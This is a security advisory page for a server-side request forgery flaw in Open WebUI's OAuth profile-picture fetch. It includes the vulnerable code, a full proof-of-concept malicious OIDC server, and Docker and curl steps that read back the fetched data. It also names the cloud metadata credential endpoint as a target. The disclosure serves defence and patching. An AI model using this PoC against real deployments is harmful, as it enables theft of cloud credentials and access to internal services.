Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-24c9-2m8q-qhmh

HighCVSS 7.7 / 10
Published May 14, 2026·Last modified May 14, 2026
Affected Components(0)

No affected components available

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

python3 poc_oidc.py

3. Start Open WebUI with Docker:

docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:

  • Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
  • Internal network services not exposed to the internet
  • Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)  # Add this line
        # ... rest unchanged
Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard